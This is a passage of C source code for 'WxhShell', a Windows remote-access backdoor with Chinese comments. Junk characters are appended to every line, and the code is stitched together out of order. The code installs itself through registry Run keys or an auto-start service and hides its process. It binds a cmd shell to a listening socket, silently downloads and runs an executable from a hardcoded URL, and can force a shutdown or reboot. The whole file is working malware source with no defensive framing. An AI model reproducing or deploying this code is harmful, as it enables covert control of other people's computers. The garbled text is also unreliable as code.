    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LxYrl-  
    if(Boot(SHUTDOWN)) }SX,^|eN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?u{~>  
    else { |v \_@09=  
    closesocket(wsh); /xsF90c\h  
    ExitThread(0); }+)fMZz  
    } wT;0w3.Z  
    break; ( }{G`N>.{  
    } +AR5W(&  
  // 获取shell 8J:}%DaxL  
  case 's': { sF|5XjQ  
    CmdShell(wsh); DgUT5t1  
    closesocket(wsh); RHmgD;7`  
    ExitThread(0); cJ{ Nh;"  
    break; I;e=0!9U  
  } \n$u)Xj~6^  
  // 退出 h]Wr [v  
  case 'x': { `b Fff %_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I KqQ>Z-q~  
    CloseIt(wsh); H\h3 TdL  
    break; < vL,*.zd  
    } 1;C+$  
  // 离开 =Q+;=-1  
  case 'q': { NG--6\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2;z b\d  
    closesocket(wsh); hlV=qfc  
    WSACleanup(); igkYX!0#8O  
    exit(1); 1Yq?X:  
    break; 8B /\U'  
        } s8ywKTR-  
  } S]bmS6#  
  } -K q5i  
\#f <!R4  
  // 提示信息 UYk/v]ZA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZvNJ^Xz  
} /35R u}c  
  } 4i6q{BeHn  
G}:w@}h/  
  return; p~SClaR3H  
} wfNk=)^$  
RX>xB  
// shell模块句柄 dYG,_ji  
int CmdShell(SOCKET sock) v'U{/ ,x  
{ % 5m/  
STARTUPINFO si; fa++MNf}3  
ZeroMemory(&si,sizeof(si)); Ir {OheJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ruc++@ J@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xAK6pDp  
PROCESS_INFORMATION ProcessInfo; +b.g$CRr  
char cmdline[]="cmd"; T^Y([23  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [h^2Y&Au5  
  return 0; ySx>L uY#3  
} 8VeQ-#7M/  
-7*ET3NSI/  
// 自身启动模式 v/](yT  
int StartFromService(void) [Yo,*,y31  
{ :e_V7t)o  
typedef struct d@ i}-;  
{ ?\vh9  
  DWORD ExitStatus; N9jH\0nG  
  DWORD PebBaseAddress; Hw7;;HK 7  
  DWORD AffinityMask; B P2=2)Q  
  DWORD BasePriority; }RzWJ@QD<  
  ULONG UniqueProcessId; xC{qV,   
  ULONG InheritedFromUniqueProcessId; uehDIl0\[b  
}   PROCESS_BASIC_INFORMATION; I/&%]"[^u  
**$LR<L  
PROCNTQSIP NtQueryInformationProcess; Gcdd3W`O  
"/3 db[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v K9E   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ] Bcp;D  
E;Y;z  
  HANDLE             hProcess; GO__$%~  
  PROCESS_BASIC_INFORMATION pbi; 55tKTpV  
{ vKLAxc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n&"B0ycF  
  if(NULL == hInst ) return 0; ]b\yg2  
q?4p)@#   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -n=^U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ont%eC\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `}(b2Hc>  
Jz7!4mu  
  if (!NtQueryInformationProcess) return 0; <g1hxfKx5  
i>D.!x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qyF{f8pzq  
  if(!hProcess) return 0; luo   
vd [}Gd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]~aF2LJ_q  
?$*SjZt  
  CloseHandle(hProcess); *pSQU=dmS  
[3(7  4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n@C[@?D  
if(hProcess==NULL) return 0; pimtiQqC  
AyNI$Q6Z  
HMODULE hMod; Oy%''+g   
char procName[255]; M-1ngI0H;  
unsigned long cbNeeded; fz\9 S  
t"= E^r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2nSSF x r  
>33=<~#n  
  CloseHandle(hProcess); |$vX<. S  
{[+mpKq  
if(strstr(procName,"services")) return 1; // 以服务启动 ZZHDp&lh}  
]L9s%]o  
  return 0; // 注册表启动 VHCK2}ps  
} ~io szX  
43mP]*=A  
// 主模块 ^G4 P y<s  
int StartWxhshell(LPSTR lpCmdLine) .!f$ \1l  
{ (-ufBYO6  
  SOCKET wsl; F<qz[,]|-j  
BOOL val=TRUE; iPd[l {85Z  
  int port=0; *h'=3w:G  
  struct sockaddr_in door; 0w)^)  
l:j4Ft 8  
  if(wscfg.ws_autoins) Install(); |N%fMPKa  
In18_ bc  
port=atoi(lpCmdLine); U.DDaT1  
M%ICdIc'  
if(port<=0) port=wscfg.ws_port; ` :o4'CG  
77\] B  
  WSADATA data; 8,C*4y~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y~q8pH1  
T)H{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0`X]o'RxS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $, ,op(  
  door.sin_family = AF_INET; Jtr"NS?a]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~/98Id}v  
  door.sin_port = htons(port); L3@82yPo!  
nm6h%}xND<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~]nSSD)\  
closesocket(wsl); ;1%-8f:lW  
return 1; W3MU1gl6k{  
} wE?'Cl  
KwPOO{4]g  
  if(listen(wsl,2) == INVALID_SOCKET) { B"!l2  
closesocket(wsl); l)Crc-:}4j  
return 1; ^; )8VP6  
} @\f^0^G  
  Wxhshell(wsl); S/9DtXQ  
  WSACleanup(); {]%0lf:  
\l9qt5rS  
return 0; Dey<OE&  
G+X Sfr  
} xlA$:M&  
uTKD 4yig  
// 以NT服务方式启动 2QJ{a46}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dwDcR,z?a  
{ u*Pibgd<  
DWORD   status = 0; J|~MC7#@q  
  DWORD   specificError = 0xfffffff; _V7r1fY:  
umt.Um.m2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YVHm{A1b0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FB{KH .  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -OapVac  
  serviceStatus.dwWin32ExitCode     = 0; ;<j0f~G`  
  serviceStatus.dwServiceSpecificExitCode = 0; y CVI\y\B  
  serviceStatus.dwCheckPoint       = 0; @~YYD#'vNY  
  serviceStatus.dwWaitHint       = 0; \$*7 >`k  
]x(e&fyHB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5N/%v&1  
  if (hServiceStatusHandle==0) return; D ,o}el  
5h Q E4/hH  
status = GetLastError(); TFkZpe;  
  if (status!=NO_ERROR) B{'( L |  
{ g^}8:,F_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u>kN1kQ8  
    serviceStatus.dwCheckPoint       = 0; YoBPLS`K  
    serviceStatus.dwWaitHint       = 0; {q `jDDM  
    serviceStatus.dwWin32ExitCode     = status; +yk24 ` >  
    serviceStatus.dwServiceSpecificExitCode = specificError; g*03{l#P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); inh=WUEW  
    return; apg=-^L'  
  } |mGFts}0o'  
$}>+kHoT{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +@p% p  
  serviceStatus.dwCheckPoint       = 0; mLP.t%?#   
  serviceStatus.dwWaitHint       = 0; y5 *Z 3"<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =a@j=  
} -* WXMzr  
_'{_gei_P  
// 处理NT服务事件,比如:启动、停止 y5?RVlKJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :,'wVS8"]  
{ !cO]<CWPq  
switch(fdwControl) W4pL ,(S  
{ 9~]~#Uj  
case SERVICE_CONTROL_STOP: mlJ!:WG  
  serviceStatus.dwWin32ExitCode = 0; 5|o6v1bM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "4ri SxEyF  
  serviceStatus.dwCheckPoint   = 0; 4dO~C  
  serviceStatus.dwWaitHint     = 0; eYN5;bx)W  
  { |wiqGzAr{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $$ Oey)*  
  } aMWmLpv4'  
  return; q7_ m&-0)  
case SERVICE_CONTROL_PAUSE: nD`w/0hT<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9Iwe2lu  
  break; G6/p1xy>o:  
case SERVICE_CONTROL_CONTINUE: |iE50,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g;qx">xJ`o  
  break; DW5Y@;[  
case SERVICE_CONTROL_INTERROGATE: [|(N_[E|6  
  break; YKH\rN6X  
}; QdL`|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /& Jan:  
} HCyv]LR  
ts\5uiB<%  
// 标准应用程序主函数 MZSy6v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zsX1QN16  
{ Z>)Bp /-  
X*/ho  
// 获取操作系统版本 f&BY/ n,  
OsIsNt=GetOsVer(); YG@t5j#b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w<Wf?aG  
YG3J$_?y0  
  // 从命令行安装 'gC_)rK*  
  if(strpbrk(lpCmdLine,"iI")) Install(); /fZe WU0W  
jcuB  
  // 下载执行文件 k5:G-BQ:  
if(wscfg.ws_downexe) { 9 Vkb>yFX'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Nl^;A> <u  
  WinExec(wscfg.ws_filenam,SW_HIDE); $ M`hh{ -  
} _jLL_GD  
o]yl ;I  
if(!OsIsNt) { QZ6D7t Uc8  
// 如果时win9x,隐藏进程并且设置为注册表启动 pR(jglm7-  
HideProc(); _FH`pv  
StartWxhshell(lpCmdLine); B8f8w)m  
} `|{-+m  
else _P0T)-X\(  
  if(StartFromService()) "e.jZcN*  
  // 以服务方式启动 7 n8"/0kc:  
  StartServiceCtrlDispatcher(DispatchTable); fI&t]   
else U>]$a71  
  // 普通方式启动 _I@9HC 4  
  StartWxhshell(lpCmdLine); }=<  
yXSFjcoB  
return 0; =/s>Q l  
} s/$?^qtyC  
qh9Z50E9  
8K:y\1  
sDPs G5q<  
=========================================== |TS>h wkI  
'[AlhBX  
~;l@|7wGz  
ED=V8';D  
XGYbnZ~   
RL!Oi|8  
" )J2mM  
 gbF+WE  
#include <stdio.h> L2\#w<d  
#include <string.h> ]V^iN=(_5  
#include <windows.h> "I3@m%qv  
#include <winsock2.h> $"+djI?E9  
#include <winsvc.h> B3We|oe!  
#include <urlmon.h> rDm~h~u5  
1oR7iD^  
#pragma comment (lib, "Ws2_32.lib") B<5R   
#pragma comment (lib, "urlmon.lib") X{5vXT\/y  
S\:P-&dC  
#define MAX_USER   100 // 最大客户端连接数 ZP@ $Q%up  
#define BUF_SOCK   200 // sock buffer wPQH(~k:  
#define KEY_BUFF   255 // 输入 buffer cG[l!Z  
0)Uce=t`  
#define REBOOT     0   // 重启 (SpX w,:  
#define SHUTDOWN   1   // 关机 4 {y)TZ  
\UPjf]&  
#define DEF_PORT   5000 // 监听端口 _Gn2o2T  
Y~c|hfL  
#define REG_LEN     16   // 注册表键长度 =bfJ^]R  
#define SVC_LEN     80   // NT服务名长度 [w0QZyUn  
HVi'eNgo  
// 从dll定义API pmuvg6@h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~ksi</s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KaPAa:Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :flx6,7D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @i 2E\}  
CDsSrKhx  
// wxhshell配置信息 Jl( &!?j  
struct WSCFG { LInz<bc<(  
  int ws_port;         // 监听端口 YWe{juXSw  
  char ws_passstr[REG_LEN]; // 口令 MI/MhkS ?  
  int ws_autoins;       // 安装标记, 1=yes 0=no PQy4{0 _  
  char ws_regname[REG_LEN]; // 注册表键名 -.1y(k^4E  
  char ws_svcname[REG_LEN]; // 服务名 T -.%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Bal$+S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GzhYY"iif#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J?V?R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ``,fodA8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r(:5kC8K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wo4;n9@I  
h{%nC>m;  
}; e^8 O_VB  
" un]Gc   
// default Wxhshell configuration um jt]Gu[  
struct WSCFG wscfg={DEF_PORT, }q_<_lQ  
    "xuhuanlingzhe", 2M.fLQ?  
    1, ). <-X^@  
    "Wxhshell", qraSRK5  
    "Wxhshell", gH$ Mr  
            "WxhShell Service", _GV:HOBi  
    "Wrsky Windows CmdShell Service", 6V$Avg\6\  
    "Please Input Your Password: ", xcd#&  
  1, S=MEG+Ad  
  "http://www.wrsky.com/wxhshell.exe", ?:vv50  
  "Wxhshell.exe" RiDJ> 6S  
    }; _dqzB$JV  
Q A< Rhv,  
// 消息定义模块 Z/W:97M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x3hB5p$q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .!Oo|m`V@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R cAwrsd  
char *msg_ws_ext="\n\rExit."; C uFSeRe  
char *msg_ws_end="\n\rQuit."; UbXh,QEG*  
char *msg_ws_boot="\n\rReboot..."; {&cJDqz5=  
char *msg_ws_poff="\n\rShutdown..."; ^NRl//  
char *msg_ws_down="\n\rSave to "; &q3"g*q  
FEW14 U'O  
char *msg_ws_err="\n\rErr!";  DGRXd#  
char *msg_ws_ok="\n\rOK!"; )B T   
qB~rQPa  
char ExeFile[MAX_PATH]; ,kiv>{  
int nUser = 0; y`VyQWW  
HANDLE handles[MAX_USER]; ),0g~'I~D  
int OsIsNt; d?ex,f.  
gR&Q3jlIV  
SERVICE_STATUS       serviceStatus; SzAJ2:qhl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B~6&{7 xc%  
P Y_u/<u  
// 函数声明 34`'M+3  
int Install(void); N nRD|A  
int Uninstall(void); Nkjza:f{  
int DownloadFile(char *sURL, SOCKET wsh); *T- <|zQ  
int Boot(int flag); {o)Lc6T8s  
void HideProc(void); qz+dmef  
int GetOsVer(void); H['N  
int Wxhshell(SOCKET wsl); QqDC4+ p"  
void TalkWithClient(void *cs); VyXKZ%\dQ/  
int CmdShell(SOCKET sock); _G[g;$ <  
int StartFromService(void); i5en*)O8  
int StartWxhshell(LPSTR lpCmdLine); ~FZ&.<s  
x u>9(,l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V_R@o3kv;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xR-%L  
F0pir(n-  
// 数据结构和表定义 hcgMZT!<5  
SERVICE_TABLE_ENTRY DispatchTable[] = 9%k2'iV7  
{ zpzK>DH(  
{wscfg.ws_svcname, NTServiceMain}, zkt+7,vI  
{NULL, NULL} <->{  
}; o15-ZzE-  
KxI&G%z  
// 自我安装 DH[p\Wy'  
int Install(void) mi=Q{>rb  
{ )fFb_U  
  char svExeFile[MAX_PATH]; :yL] ;J  
  HKEY key; ed]=\Key  
  strcpy(svExeFile,ExeFile); i@C].X  
]}Mj)J"m  
// 如果是win9x系统,修改注册表设为自启动 yg `j-9[8  
if(!OsIsNt) { {}>0e:51  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f~t:L, \,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >NO[UX%yP  
  RegCloseKey(key); D|lzGt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y#]+Tm (+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -j+UMlkB  
  RegCloseKey(key); 4~ q5,^kgB  
  return 0; [^R^8k  
    } b[sx_b  
  } XtXEB<4Z  
} 8Ry3`ct  
else { &x=.$76  
F<ZYh  
// 如果是NT以上系统,安装为系统服务 7yG#Z)VE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zbXI%  
if (schSCManager!=0) uX"H4l O~  
{ bh s5x  
  SC_HANDLE schService = CreateService :I"2V  
  ( I.WvLLK2  
  schSCManager, rK@8/?y5  
  wscfg.ws_svcname, v V'EZ ?  
  wscfg.ws_svcdisp, ob+b<HFv  
  SERVICE_ALL_ACCESS, aB*Bz]5;E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^Xuvy{TkPH  
  SERVICE_AUTO_START, ^7>3a/  
  SERVICE_ERROR_NORMAL, [8.c8-lZ^  
  svExeFile, fsmN)_T  
  NULL, >Y&N8PHD  
  NULL, wc0jhHZO ?  
  NULL, rR$h*  
  NULL, }^4Xv^dW>g  
  NULL @y e4q.m  
  ); __lM7LFL  
  if (schService!=0) ,oORW/0iS  
  { H ;7(}:.  
  CloseServiceHandle(schService); @D)al^]x6  
  CloseServiceHandle(schSCManager); b}OY4~ Y4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8&;UO{  
  strcat(svExeFile,wscfg.ws_svcname); b IH;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a:+{f&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &qLf@1AD  
  RegCloseKey(key); efSM`!%j  
  return 0;  N O2XA\  
    } w4_ U0 n3  
  } x[4`fM.m*  
  CloseServiceHandle(schSCManager); AG3>V+k{Lv  
} n+! AnKq  
} Gn22<C/  
E_gD:PPU5  
return 1; t![7uU.W  
} Qf58ig-vCY  
2{M^,=^>  
// 自我卸载 V GL aN%|  
int Uninstall(void) t$ +?6E  
{ @M<|:Z %.@  
  HKEY key; yTyj'-4  
cO-7ke  
if(!OsIsNt) { ".f ;+wH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xpNH?#&  
  RegDeleteValue(key,wscfg.ws_regname); u=Fv 2  
  RegCloseKey(key); :fKl]XO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <i<J^-W  
  RegDeleteValue(key,wscfg.ws_regname); d]`CxI]  
  RegCloseKey(key); \/E>4)MDy  
  return 0; B*qi_{Gp  
  } Pih tf4i  
} TvwZW!@jc  
} SEORSS  
else { S,D8F&bg  
C#QpQg2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Pl(Q,e7O]  
if (schSCManager!=0) "B8Q:  
{ TbA}BFT`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $JSL-NkE  
  if (schService!=0) qsL) }sC^8  
  { FK6[>(QO  
  if(DeleteService(schService)!=0) { 6~OoFm5  
  CloseServiceHandle(schService); bf0+DvIB  
  CloseServiceHandle(schSCManager); wWgWWXGT}  
  return 0; 9K/HO!z  
  } X#d~zk[r2  
  CloseServiceHandle(schService); J2d.f}-  
  } $v,dz_O*\  
  CloseServiceHandle(schSCManager); yH7F''O7  
} 8][nmjk0  
} <CRP ^_c  
QU#w%|  
return 1; b>_o xK  
} #1J &7F1  
siXr;/n"  
// 从指定url下载文件 :#2Bw]z&z  
int DownloadFile(char *sURL, SOCKET wsh) eeIhed9  
{ g! cUF+  
  HRESULT hr; h"lX 4  
char seps[]= "/"; :WQ^j!9'  
char *token; !P ~_Dl2d  
char *file; EQ2#/>  
char myURL[MAX_PATH]; PiYY6i0  
char myFILE[MAX_PATH]; 6\L0mcXR!  
k- Q%.o  
strcpy(myURL,sURL); ot @|!V  
  token=strtok(myURL,seps); 4B=2>k  
  while(token!=NULL) sfLMk E  
  { 4f@o mAM  
    file=token; INUG*JC6  
  token=strtok(NULL,seps); =b38(\  
  } U0=]  
U93}-){m  
GetCurrentDirectory(MAX_PATH,myFILE); _\=`6`b)  
strcat(myFILE, "\\"); Gn&-X]Rrl  
strcat(myFILE, file); uC.K<jD%  
  send(wsh,myFILE,strlen(myFILE),0); -g)9R%>-  
send(wsh,"...",3,0); UU'|Xz9~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r`%+M7  
  if(hr==S_OK) `J]fcE%T0R  
return 0; ttXXy3G#  
else 9F6F~::l}  
return 1; )X04K~6lY  
:z}MIuf  
} .b\$MZ"(  
8iW;y2qF  
// 系统电源模块 -r#X~2tPzD  
int Boot(int flag) ##KBifU"  
{ rxr{/8%f%  
  HANDLE hToken; dlU'2Cl7d  
  TOKEN_PRIVILEGES tkp; ur*T%b9&  
|4 v0:ETb$  
  if(OsIsNt) { AGH|"EWG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -<Hu!V`+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C(S'#cm  
    tkp.PrivilegeCount = 1; ]"+95*B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q#^Qv.s?K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b5,x1`#7k  
if(flag==REBOOT) { J~%K_~Li  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wpN k+;  
  return 0; GGe,fb<k  
} xAafm<L@!  
else { D*Ik7Pe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $f,n8]  
  return 0; MWI4Y@1bS  
} PpV'F[|,r  
  } tS|9fBdCs  
  else { : m)   
if(flag==REBOOT) { Ib|Rf;J~-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bB }$'  
  return 0; >:zK?(qu,N  
} "+\lws  
else { :1 (p.q=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $|]" W=h  
  return 0;  e`d%-9  
} ;GVV~.7/  
} _nD$b={g  
FvN<<&B  
return 1; wtmB+:I  
} O_cbP59Y.  
iZPCNS"  
// win9x进程隐藏模块 V~S0hqW[  
void HideProc(void) %Rz&lh/  
{ aaKN^fi&  
p`nPhk,:b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;2@BO-3K  
  if ( hKernel != NULL ) Vm5c+;  
  { Qd=^S^}(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qzI&<4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $KUo s+%  
    FreeLibrary(hKernel); 0ge$ p,  
  } \=+b}mKV m  
-6Oz^  
return; 6&DX] [G  
} on0]vEE  
9Rn? :B~W:  
// 获取操作系统版本 !l|5z G  
int GetOsVer(void) cZH-"  
{ W3Dc r@Dy  
  OSVERSIONINFO winfo; v$(lZa1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9Q(+ZG=JkV  
  GetVersionEx(&winfo); A 6OGs/:&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Na$Is'F &p  
  return 1; uum;q-"  
  else F.-R r  
  return 0; !Gu%U$d  
} (T>nPbv)  
rEHkw '  
// 客户端句柄模块 ^zEwA  
int Wxhshell(SOCKET wsl) u$*56y   
{ pWPIJ>2G:  
  SOCKET wsh; A,V\"KU  
  struct sockaddr_in client; 6An9S%:_  
  DWORD myID; `Ja?fI'H-  
!>BZ6gn5  
  while(nUser<MAX_USER) p/JL9@:'  
{ ymegr(9&K  
  int nSize=sizeof(client); AZzuI*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nl(WJKq'  
  if(wsh==INVALID_SOCKET) return 1; K+Z+wA?  
Zq,9&y~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3uZJ.Fb  
if(handles[nUser]==0) o@#Y8M  
  closesocket(wsh); YLwnhy>dD  
else $U$V?x uE  
  nUser++; |+35y_i6  
  } z\0 CE]#T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +Vo}F  
qOSg!aft{Q  
  return 0; J 8M$k/"X  
} Zm"{Viv]  
ndjx|s)E  
// 关闭 socket 5Xl /L  
void CloseIt(SOCKET wsh) NE/m-ILw  
{ o q4}3bQ  
closesocket(wsh); 0O\SU"bP  
nUser--; {fha`i  
ExitThread(0); pl5P2&k  
} R)M_|ca  
f6_];]yP  
// 客户端请求句柄 /;7y{(o  
void TalkWithClient(void *cs) |J+(:{ }~  
{ !/^-;o7  
7_.11$E=H  
  SOCKET wsh=(SOCKET)cs;  ] GHt"  
  char pwd[SVC_LEN]; [/ !;_b\X  
  char cmd[KEY_BUFF]; UPc<gB  
char chr[1]; 6`0mta Q  
int i,j; 2RqbrY n  
2$14q$eb  
  while (nUser < MAX_USER) { zaFt*~@X  
sp7*_&'J  
if(wscfg.ws_passstr) { 'WI^nZM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ybeKiv9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yly@ww9t|  
  //ZeroMemory(pwd,KEY_BUFF); ,h{A^[yl  
      i=0; {&P FXJ  
  while(i<SVC_LEN) { kloR#?8A  
R*oXmuOsYA  
  // 设置超时 Vs)--t  
  fd_set FdRead; o]ag"Q  
  struct timeval TimeOut; uGwJ K`!~  
  FD_ZERO(&FdRead); [6)UhS8  
  FD_SET(wsh,&FdRead); b{d4xU8'  
  TimeOut.tv_sec=8; n:0}utU4  
  TimeOut.tv_usec=0; bn(`O1r[(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JXixYwm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2+cNo9f  
ik"sq}u_]E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l" q1?kaVg  
  pwd=chr[0]; /erN;Oo%<  
  if(chr[0]==0xd || chr[0]==0xa) { Dy]I8_  
  pwd=0; zF@o2<cD@  
  break; <W`#gn0b6  
  } 4\pWB90V  
  i++; Qd_Y\PzS  
    } 7R3fqU.Rq  
;>%~9j1C  
  // 如果是非法用户,关闭 socket iweD @b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T1` |~Z?g-  
} qC_mu)6  
!PMU O\y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &f>eQ S=(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l{:a1^[>y  
8K;Y2 #  
while(1) { GyW.2  
3;7q`  
  ZeroMemory(cmd,KEY_BUFF); 7QVuc!V  
tM,%^){p$  
      // 自动支持客户端 telnet标准   {/ LZcz[  
  j=0; WKr X,GF  
  while(j<KEY_BUFF) { rZojY}dWJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6cdMS[_SD(  
  cmd[j]=chr[0]; ?sBh=Ds  
  if(chr[0]==0xa || chr[0]==0xd) { yoRU_%xA  
  cmd[j]=0; N7%TYs  
  break; v! 42 DA)  
  } rVtw-[p  
  j++; @ct+7v~  
    } .6m "'m0;  
.c^ ggy%  
  // 下载文件 l;"Ab?P\  
  if(strstr(cmd,"http://")) { *9 Q^5;y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O lfn  
  if(DownloadFile(cmd,wsh)) oyk>vIZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <e)o1+[w  
  else a`E*\O'd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Cy:]2o  
  } `_5GG3@Ff  
